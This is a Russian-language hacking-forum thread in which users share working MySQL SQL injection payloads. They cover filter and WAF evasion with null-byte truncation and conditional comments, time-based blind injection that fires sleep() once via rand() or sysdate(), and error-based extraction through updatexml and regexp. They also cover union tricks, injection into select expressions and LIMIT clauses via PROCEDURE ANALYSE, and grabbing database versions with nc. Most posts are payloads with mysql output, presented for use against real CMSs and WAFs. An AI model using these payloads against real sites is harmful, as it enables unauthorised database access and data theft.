Старый 15.01.2013, 17:36   #21
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

отличная статья про обход фильтров За рамками SQLi: обфускация и обход

Здесь будут показаны продвинутые техники обхода фильтров и обфускации, многие из которых могут быть применимы к реальным CMS и WAF.

оригинал перевода
красивее и читабельнее оформлено
DrakonHaSh вне форума   Ответить с цитированием
Старый 26.09.2013, 11:37   #22
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Аналог незакрытого /* в MySQL 5:
PHP код:
;%00 
Позволяет отрезать оставшуюся часть запроса полностью. В отличии от backtick может применятся в любом месте любого запроса и ограничений на длину последующих данных нет.

Минус - использование NULL-байта.
__________________
На правах рекламы.

Последний раз редактировалось NameSpace; 26.09.2013 в 11:44..
NameSpace вне форума   Ответить с цитированием
Старый 26.09.2013, 12:21   #23
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от NameSpace Посмотреть сообщение
Аналог незакрытого /* в MySQL 5:
PHP код:
;%00 
Позволяет отрезать оставшуюся часть запроса полностью. В отличии от backtick может применятся в любом месте любого запроса и ограничений на длину последующих данных нет.

Минус - использование NULL-байта.
Раньше пользовался часто, но с какой-то версии перестало работать.
Сейчас опять работает.
Или не от версии зависит, не помню, но работало не всегда.
Нужно тестить.
===
UPD потестили, везде работает.
Отлично...

Последний раз редактировалось nikp; 26.09.2013 в 14:05..
nikp вне форума   Ответить с цитированием
Старый 26.09.2013, 12:36   #24
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Цитата:
Сообщение от nikp Посмотреть сообщение
Отсюда разница в эксплуатации со штатным комментарием - нельзя backtick поставить в произвольном месте (как -- ,/*,#) нужно достраивать конструкцию до состояния, когда backtick начинает алиас таблицы или поля.
Не обязательно, backtick еще может использоваться в имени переменной, например:
PHP код:
WHERE 1=1` - False
WHERE 1=@
` - True 
http://dev.mysql.com/doc/refman/5.7/en/user-variables.html
Цитата:
User variables are written as @var_name, where the variable name var_name consists of alphanumeric characters, “.”, “_”, and “$”. A user variable name can contain other characters if you quote it as a string or identifier (for example, @'my-var', @"my-var", or @`my-var`).
UPD:
Увидел интересный фильтр - заменяет все буквы за исключением тех, что /*здесь*/ на пробелы. При этом /*! такой вариант*/ так-же заменяется. Поддержки вложенных комментариев в MySQL нет:
Код:
/*! -'*/' union select ...*/
То есть в условных комментариях можно передавать симвы */ не закрывая сам комментарий.

Если с вашего IP доступны внешние подключения к базе, вы можете определить версию - официальный клиент её вам не покажет, а вот nc - моментально:
Код:
$ nc test.ru 3306
[
5.5.25-MariaDB-mariadb1~squeeze-log\9djjUJQ:��m9rT.'u<gt14mysql_native_password
^C

Последний раз редактировалось NameSpace; 13.02.2014 в 13:44..
NameSpace вне форума   Ответить с цитированием
Старый 05.02.2014, 11:33   #25
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию

Поиск/перемещение по таблице без операторов where и limit

Из-за наличия WAF на сайте, появилась необходимость обойтись без этих операторов, получилось как-то так:

Код:
select(select group_concat(username order by id = 3 desc) from users)
Соответственно запись с id = 3 будет выведена на первое место

Можно использовать операторы like и regexp:

Код:
select(select group_concat(username order by username like '%admin%' desc) from users)

Последний раз редактировалось Grey; 05.02.2014 в 11:47..
Grey вне форума   Ответить с цитированием
Старый 17.02.2014, 16:30   #26
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Как известно, основная проблема эксплуатации Time-based SQL Injection заключается в осуществлении однократного исполнения функции sleep() для получения приемлемой задержки в 1-2 секунды, но никак не в 100000. Часто при проверке параметров, при подборе условий ограничений можно повесить сервер.

Эту проблему можно решить, если использовать rand(). rand() имеет свойство хранить информацию там, где невозможно использовать переменные и бажные функции (insert), привязав её к тому месту, где она вызывается.

Код:
mysql> SELECT rand(3)a, (SELECT rand(3) UNION SELECT user from mysql.user LIMIT 1)b FROM mysql.user LIMIT 3;
+---------------------+---------------------+
| a                   | b                   |
+---------------------+---------------------+
| 0.9057697559760601  | 0.9057697559760601  |
| 0.37307905813034536 | 0.37307905813034536 |
| 0.14808605345719125 | 0.14808605345719125 |
+---------------------+---------------------+

mysql> SELECT user FROM mysql.user WHERE password = '1'^if(rand(3)=0.9057697559760601,sleep(1),1)^'2';
Empty set, 6 warnings (1.00 sec)

SELECT CASE WHEN rand(1)in(0.40540353712197724) THEN sleep(1) END;
SELECT (rand(1)in(0.40540353712197724))in(0,sleep(1));
SELECT ((rand(3)rlike(0.9057697559760601))and(sleep(1)));
...

Последний раз редактировалось NameSpace; 01.03.2014 в 16:13..
NameSpace вне форума   Ответить с цитированием
Старый 04.04.2014, 11:39   #27
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

https://dev.mysql.com/doc/refman/5.0/en/select.html
недавно нашел скулю такого вот характера в select_expr

Пример запроса(в реале может быть длиннее, это просто кусок примера!):
SELECT a.some_column, a.some_column2, a.some_column3 AS some_alias, a.some_column4, u.[тут наша скуля] AS some_alias2, r.some_column5, r.some_column6 FROM table_name AS a, table_name2 AS aup, table_name3 AS u, table_name4 AS r

Значение:
id from (select * from (select 1 as some_column)x join (select 2 as some_column2)y join (select version() as some_column3)z join (select 1 as some_column4)q)a,(select 1 as id)u #

# - %23

Запрос примет вид:
SELECT a.some_column, a.some_column2, a.some_column3 AS some_alias, a.some_column4, u.id from (select * from (select 1 as some_column)x join (select 2 as some_column2)y join (select version() as some_column3)z join (select 1 as some_column4)q)a,(select 1 as id)u #

В some_alias будет version()

Обычно, например, в популярных CMS, названия табличек в БД идут с рандомным префиксом.
Зная название таблиц(не всегда для хекера на production есть отладка и т.д чтоб увидеть эту информацию!), можно было бы явно указывать с каких табличек вытаскивать данные, а далее по старинке and 0 union select 1,2,3,4,5#

ps
Joomla - это отдельная история.
В ней можно использовать макроподстановку #__ (знак решетки и два подчеркивания).
В классе database данный символ будет заменен на текущий префикс таблиц
Если бы скуля была на Joomla, то выглядело как то так id from #__table_name as a,#__table_name3 as u where 0 union select 1,2,3,4,5#

Последний раз редактировалось }{оттабыч; 04.04.2014 в 13:45..
}{оттабыч вне форума   Ответить с цитированием
Старый 05.04.2014, 20:09   #28
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Допустим, скуля у нас в условии where, но в select_expr у нас что то типа count(id)
Иногда с результатов запросов вытаскивается только информация с первого поля первой записи

select count(id) from (select 1 id)x where 0 union select version()
0
5.1.68-community-log

и в web-приложении будет 0 у нас, а нам нужно именно нашу ветку мускуля

select count(id) from (select 1 id)x where 0 union select version() order by 1 DESC
5.1.68-community-log
0

тут фишка в том, что count(id) всегда возвращает 0 если в условии WHERE у нас ложь или нет записей в табличке в первом запросе до union

Последний раз редактировалось }{оттабыч; 05.04.2014 в 20:16..
}{оттабыч вне форума   Ответить с цитированием
Старый 14.06.2014, 13:56   #29
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

}{оттабыч, самый неудобный и ненадежный способ. Агрегатную функцию можно просто сгруппировать в никуда:
Код:
mysql> select count(id) from (select 1 id)x where 0 group by~0 union select version();
+----------------------+
| count(id)            |
+----------------------+
| 5.1.68-community-log |
+----------------------+
1 row in set (0.00 sec)
В аргумент должно быть передано какое-либо выражение. Запись исчезнет.

Дополнение к способу эксплуатации time-based (см. выше, #26):

Функция sleep() была добавлена в 5.0.12, в этой же версии изменено поведение функции sysdate(). Теперь она возвращает настоящее время, а не время на начало запроса:
Код:
mysql> SELECT now(), sleep(5), sysdate();
+---------------------+----------+---------------------+
| now()               | sleep(5) | sysdate()           |
+---------------------+----------+---------------------+
| 2014-06-14 10:29:49 |        0 | 2014-06-14 10:29:54 |
+---------------------+----------+---------------------+
1 row in set (5.00 sec)
Использование sysdate() в time-based sql injection:
Код:
mysql> SELECT host, user FROM mysql.user WHERE 1=0 or (sysdate()in(now())and(sleep(2)));
Empty set (2.00 sec)
Но не все так просто. Функция sysdate() является недетерминированной, и её, как функцию rand() и переменные, можно использовать не везде. Она не будет действовать в Full-Text Search Functions, XML Functions, etc, однако не все недетерминированные функции запрещены к использованию - например uuid_short() (её кстати можно использовать и для хранения информации и для межсессионной передачи данных) работает нормально.

Для проверки проверки параметра в данных условиях можно вызывать ошибку после задержки. Одни из немногих вариантов (из-за ограничений):
PHP код:
(not(select 1 union select sleep(1)))
(
1 rlike char(benchmark(5000000md5(3)))) 
UPD:
Эти самые ограничения, которые мешали вызывать ошибку поле задержки (например нельзя выполнить sleep(1) и затем вызвать ошибку в regexp), могут помочь. Традиционно считается, что выражение во WHERE, HAVING не исполняется при нулевом кол-ве записей, а выражение в ORDER BY не исполняется как при 0-вом числе записей, так и при 1-ой записи.

Однако в случае «детерминированности» аргумента, проверка на то, что выражение может дать ошибку (частично) происходит до его исполнения:
Код:
mysql> SELECT 1 FROM (SELECT 1 LIMIT 0)a HAVING 1 rlike 0x00;
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
Из-за этой возможности в таких случаях можно полноценно использовать вектора, основанные на regexp и XML Function. Кстати, последний вариант ((1 rlike char(benchmark(5000000, md5(3))))) является единственно верным из тех, что пока приведены здесь. Он правильно работает в любых типах выражений и поддерживает большое число версий.

UPD1:
Если при нулевом числе записей и при ошибке выводы равны, можно добавить в запрос ORDER BY и применить в нем агрегатную функцию (тем самым сделав 1 запись):
Код:
mysql> SELECT id FROM (SELECT 1 id LIMIT 0)a WHERE 1;
Empty set (0.00 sec)

mysql> SELECT id FROM (SELECT 1 id LIMIT 0)a WHERE 1 ORDER BY min(0);
+----+
| id |
+----+
| NULL |
+----+
1 row in set (0.00 sec)

mysql> SELECT id FROM (SELECT 1 id LIMIT 0)a WHERE 1 ORDER BY min(0 rlike if(mid(version(),1,1)=5, 0x00, 2));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

Последний раз редактировалось NameSpace; 19.06.2014 в 09:27..
NameSpace вне форума   Ответить с цитированием
Старый 21.06.2014, 19:38   #30
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию MySQL: Инъекция в LIMIT после ORDER BY

Всем привет! Темы кончились? Нет. Будем продолжать банкет! Старые исследования прокладывают путь новым, опять и снова!

Тема: Инъекция в LIMIT после ORDER BY

Инъекция имеется, но сделать ничего нельзя (из гугла):
https://forum.antichat.ru/showpost.p...ostcount=21483
https://rdot.org/forum/showpost.php?...postcount=3224
https://forum.antichat.ru/showpost.p...ostcount=23293
https://forum.antichat.net/showpost....ostcount=23189

Проблема
PHP код:
mysqlSELECT host FROM mysql.user ORDER BY 1 LIMIT 0/* SQL-inj */;
+-----------+
host      |
+-----------+
127.0.0.1 |
| ::
1       |
host      |
+-----------+
3 rows in set (0.00 sec
Вектор работает через PROCEDURE ANALYSE. Все, кто пробовали использовать использовать данный синтаксис, столкнулись с большими проблемами.
PHP код:
mysqlSELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE(((2))); // Можно заключать аргумент в скобки
Empty set (0.00 sec)

mysqlSELECT host FROM mysql.user PROCEDURE ANALYSE(2);
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

// Совместное использование ORDER BY и PROCEDURE ANALYSE запрещено:
mysqlSELECT host FROM mysql.user ORDER BY 1 LIMIT 03 PROCEDURE ANALYSE(4);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure 
Решение
Рассмотрим некоторые из заметок:
MySQL: Альтернативные error-based векторы
Заметка о однократном выполнении выражения, о исполнении невыполнямого выражения

Первая позволяет увидеть процесс формирования запроса:
PHP код:
mysqlSELECT 18446744073709551610 * if((SELECT 1rlike 122);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * if((1 regexp 1),2,2))'

// Подзапрос исчез, а rlike заменилось на regexp 
Применять подобный подзапрос можно и в PROCEDURE ANALYSE:
PHP код:
mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3));
Empty 
set (0.00 sec)

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT '3'));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 union SELECT 2 LIMIT 1));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY sleep(1)));
Empty 
set (0.00 sec)

mysql>  SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY /* SQL */));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure 
Итак, выражение протолкнуто в PROCEDURE ANALYSE, однако оно не исполняется (в таблице только одна запись), попрежнему возникает ошибка 1386. Решить обе проблемы может только один вектор - вектор исполнения неисполняемого выражения (см. заметку 2):
Код:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 5, 0x00, 1)));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 6, 0x00, 1)));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1)));
ERROR 1105 (HY000): XPATH syntax error: ':5.5'

Последний раз редактировалось NameSpace; 01.08.2014 в 11:54..
NameSpace вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot